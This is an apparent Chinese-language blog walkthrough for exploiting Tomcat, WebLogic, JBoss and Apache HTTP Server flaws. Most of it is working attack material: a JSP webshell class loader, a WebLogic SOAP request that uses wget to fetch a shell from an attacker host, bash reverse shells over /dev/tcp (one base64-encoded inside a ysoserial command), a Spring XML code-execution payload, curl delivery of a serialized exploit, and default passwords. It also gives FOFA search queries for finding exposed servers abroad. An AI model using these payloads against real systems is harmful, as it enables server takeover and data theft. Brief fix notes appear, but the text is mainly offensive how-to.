赞
踩
1.首页抓包,修改为 PUT 方式提交
需要修改这部分
Tomcat允许适用put方法上传任意文件类型,但不允许isp后缀文件上传,因此我们需要配合 windows的解析漏洞.
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
一句话木马:
- <%!
- class U extends ClassLoader {
- U(ClassLoader c) {
- super(c);
- }
- public Class g(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
-
- public byte[] base64Decode(String str) throws Exception {
- try {
- Class clazz = Class.forName("sun.misc.BASE64Decoder");
- return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
- } catch (Exception e) {
- Class clazz = Class.forName("java.util.Base64");
- Object decoder = clazz.getMethod("getDecoder").invoke(null);
- return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
- }
- }
- %>
- <%
- String cls = request.getParameter("passwd");
- if (cls != null) {
- new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
- }
- %>
密码passwd
漏洞修复
设置readonly 为 true
首先先知道WAR 文件是一个基于 ZIP 格式的压缩存档,用于打包用 Java 编写的 Web 应用程序
默认密码
tomcat/tomcat
是在这部分提交war包
1.制作WAR包
制作WAR包,将JSP木马压缩为ZIP格式,然后修改后缀为war就可以了。
2.2.文件上传成功后,默认会在网站根目录下生成和war包名称一致得目录,然后目录中得)就是压缩前得 文件名。
然后就可以使用哥斯拉进行连接了
漏洞修复
1.设置强口令:
conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager- gui,manager'script,manager-jmx,manager-status,admin-gui,admin-script"/>
2.删除manger文件
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口中
另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
POC:
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 124.221.58.83
漏洞修复
1.更新到最新版本
2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
3.配置ajp配置中的secretRequired跟secret属性来限制认证。
fofa
app="tomcat"
server="Apache Tomcat" && body="Apache Tomcat"
1.默认端口 8080
2.浏览器的指纹识别插件
3.默认管理路由 /manage/html
4.server头 Apache Tomcat
默认账号密码:weblogic/Oracle@123weblogic
常用弱口令:https://cirt.net/passwords?criteria=weblogic
这里注意,单个账号错误密码5次之后就会自动锁定。
http://ip/console
1.登录后台
weblogic Oracle@123
2.点击部署,点击安装,点击上传文件
上传war包,jsp木马压缩成zip,修改后缀为war,上传
3.哥斯拉连接 访问部署好的war
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在
- /wls-wsat/CoordinatorPortType
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/ParticipantPortType
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationRequesterPortType11
在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的 shell
3. 访问URL
漏洞描述
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包 在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权 限,在未授权的情况下远程执行命令。
环境搭建
cd vulhub-master/weblogic/weak_password
docker-compose up -d
影响版本
weblogic 10.x
weblogic 12.1.3
1.如果出现下面的页面,则说明存在漏洞
2.当前页面抓包 , 修改请求包 , 写入shell
- POST /_async/AsyncResponseService HTTP/1.1
- Host: 124.221.58.83:8605
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- DNT: 1
- Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064
- Upgrade-Insecure-Requests: 1
- Cache-Control: max-age=0
- Content-Length: 858
- SOAPAction:
- Accept: */*
- User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
- Connection: keep-alive
- content-type: text/xml
-
- <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
- xmlns:asy="http://www.bea.com/async/AsyncResponseService">
- <soapenv:Header>
- <wsa:Action>xx</wsa:Action>
- <wsa:RelatesTo>xx</wsa:RelatesTo>
- <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
- <void class="java.lang.ProcessBuilder">
- <array class="java.lang.String" length="3">
- <void index="0">
- <string>/bin/bash</string>
- </void>
- <void index="1">
- <string>-c</string>
- </void>
- <void index="2">
- <string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
- </void>
- </array>
- <void method="start"/></void>
- </work:WorkContext>
- </soapenv:Header>
- <soapenv:Body>
- <asy:onAsyncDelivery/>
- </soapenv:Body></soapenv:Envelope>
-
-
-
3.冰蝎连接
WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它 Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化后的数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
漏洞影响
- Oracle WebLogic Server10.3.6.0.0
- Oracle WebLogic Server12.1.3.0.0
- Oracle WebLogic Server12.2.1.2.0
- Oracle WebLogic Server12.2.1.3.0
环境搭建
- cd vulhub-master/weblogic/CVE-2018-2628
- docker-compose up -d
漏洞复现
http://192.168.233.138:7001/
直接使用利用工具(Liqun工具箱)
漏洞修复
- 1.及时更新补丁 ;
- 2.禁用T3协议 ;
- 3.禁止T3端口对外开放,或者限制可访问T3端口的IP来源。
- 4.升级版本
WebLogic文件任意上传漏洞
漏洞描述
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 "生产模式" 下默认不开启,所以该漏洞有一定限制。
漏洞版本
- weblogic 10.3.6.0
- weblogic 12.1.3.0
- weblogic 12.2.1.2
- weblogic 12.2.1.3
环境搭建
- cd vulhub-master/weblogic/CVE-2018-2894
- docker-compose up -d
这里环境后台密码是随机得,获取密码: docker-compose logs | grep password
weblogic fvY533fz
设置Web服务测试开启
http://192.168.0.154:7001/console/login/LoginForm.jsp
设置web服务测试开启:域结构 -> base-domain -> 高级 -> 启动Web服务测试页
点击保存 , 进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要
漏洞复现
- http://192.168.0.154:7001/ws_utc/css/config/keystore/1714907372924_peak.jsp
- 时间戳_文件名.jsp
WebLogic远程代码执行漏洞
漏洞描述
- CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
- CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。
- 使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机
影响版本
- Oracle Weblogic Server 10.3.6.0
- Oracle Weblogic Server 12.1.3.0
- Oracle Weblogic Server 12.2.1.3
- Oracle Weblogic Server 12.2.1.4
- Oracle Weblogic Server 14.1.1.0
环境搭建
- cd vulhub-master/weblogic/CVE-2020-14882
- docker-compose up -d
漏洞复现
http://192.168.0.154:7001/console/login/LoginForm.jsp
http://192.168.0.154:7001/console/css/%252e%252e%252fconsole.portal
此时达到未授权得效果。还未能GetShell。可以利用第二个漏洞(CVE-2020-14883),远程加载XML文件拿到Shell
http://192.168.0.154:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/0x7e');")
我们进入到docker中可以看到命令已经成功运行了
这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class
另外一种方式
- <?xml version="1.0" encoding="UTF-8" ?>
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
- <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
- <constructor-arg>
- <list>
- <value>bash</value>
- <value>-c</value>
- <value><![CDATA[/bin/bash -i >& /dev/tcp/192.168.0.132/9999 0>&1]]></value>
- </list>
- </constructor-arg>
- </bean>
- </beans>
http://192.168.0.154:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.0.132:8000/rce.xml")
成功接收到反弹的shell
该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。
如何判断Weblogic
- 1. 7001
- 2. 浏览器插件
- 3.报错页面 Error 404--Not Found
- 4.默认管理页面路由 /console/login/LoginForm.jsp
- ......
FOFA
- "weblogic"
- app="Oracle-WebLogic-Server-管理控制台"
- app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"
-
- 推荐 :
- SRC "WebLogic" && port="7001" && country="CN" && title=="Error 404--Not Found"
- 拿远程桌面 "WebLogic" && port="7001" && country!="CN" && title=="Error 404--Not Found"
查找使用指定应用得IP
- app="Coremail" #查找使用Coremail的网站
- app="BEA-WebLogic-Server" #查找使用Weblogic的网站
- app="CCTV-Cameras" #查找使用九安视频监控的网站
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
Jboss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
- JBoss AS (Wildly) 6 and earlier
- JBoss A-MQ 6.2.0
- JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS) 6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1,3.0
环境搭建
- cd vulhub-master/jboss/JMXInvokerServlet-deserialization
- docker-compose up -d
漏洞复现
http://192.168.233.138:8080/
http://192.168233.138:8080/invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞
https://github.com/frohoff/ysoserial
将反弹shell进行base64编码
- bash -i >& /dev/tcp/192.168.233.138/9999 0>&1
- YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzgvOTk5OSAwPiYx
-
- java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser
nc -lvnp 9999
执行文本
curl http://192.168.233.138:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
漏洞修复
升级版本
JBossMQ JMS 反序列化漏洞
漏洞介绍
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围
JBoss 4.x 以及之前的所有版本
环境搭建
- cd vulhub-master/jboss/CVE-2017-7504
- docker-compose up -d
漏洞复现
http://192.168.233.138:8080/jbossmq-httpil/HTTPServerILServlet
利用:
JBoss漏洞 - CVE-2017-7504-CSDN博客
JBoss 5.x/6.x反序列化漏洞
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围
JBoss 5.x/6.x
环境搭建
- cd vulhub-master/jboss/CVE-2017-12149
- docker-compose up -d
漏洞复现
http://192.168.0.154:8080
http://192.168.0.154:8080/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化
返回500,说明页面存在,此页面存在反序列化漏洞
- 工具:
- https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
- 也可以直接执行命令:
- https://github.com/yunxu1/jboss-_CVE-2017-12149
漏洞修复
- 不需要 http-invoker.sar 组件的用户可直接删除此组件。
- 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
- 升级新版本。
- 删除 http-invoker.sar 组件。
- 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:用于对 http invoker 组件进行访问控制。
漏洞描述
Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包 , getshell
影响版本
全版本
环境搭建
因为这里用的环境是CVE-2017-12149的靶机
- cd vulhub-master/jboss/CVE-2017-12149
- docker-compose up -d
密码文件
- /jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
- 账户密码:admin:vulhub
漏洞复现
http://192.168.0.154:8080/admin-console/login.seam?conversationId=4
admin vulhub
http://192.168.0.154:8080/peak/peak.jsp
低版本JMX Console未授权访问Getshell
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执行任何功能。
影响范围
Jboss4.x以下
环境搭建
- cd vulhub-master/jboss/CVE-2017-7504
- docker-compose up -d
漏洞复现
http://82.157.209.141:8080/jmx-console/
python3 -m http.server
填写war包远程地址
http://192.168.0.132:8000/peak.war
- http://192.168.0.154:8080/peak/peak.jsp
- peak
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell
影响版本
Jboss6.x以下
环境搭建
- cd vulhub-master/jboss/CVE-2017-12149
- docker-compose up -d
漏洞复现
http://192.168.0.154:8080/jmx-console/
因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub
http://192.168.0.132:8000/peak.war
点击Invoke
- http://192.168.0.154:8080/peak/peak.jsp
- peak
如何判断Jboss
- 1.8080
- 2.浏览器识别插件
- 3.固定路由
- /admin-console/
- /jmx-console/
- 4.title , Welcome to JBoss AS
FOFA语句
title="Welcome to JBoss AS" && country!="CN"
批量工具
https://github.com/GGyao/jbossScan
其他工具
- JBOSS_EXP.jar
- DeserializeExploit.jar
- https://github.com/GGyao/jbossScan
- https://github.com/joaomatosf/jexboss
Apache HTTP Server 路径穿越漏洞
漏洞简介
该漏洞是由于Apache HTTP Server 2.4.49版本存在⽬录穿越漏洞,在路径穿越⽬录 Require all granted允许被访问的的情况下(默认开启),攻击者可利⽤该路 径穿越漏洞读取到Web⽬录之外的其他⽂件
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执⾏任意cgi命令(RCE)
影响版本
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执⾏任意cg命令
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。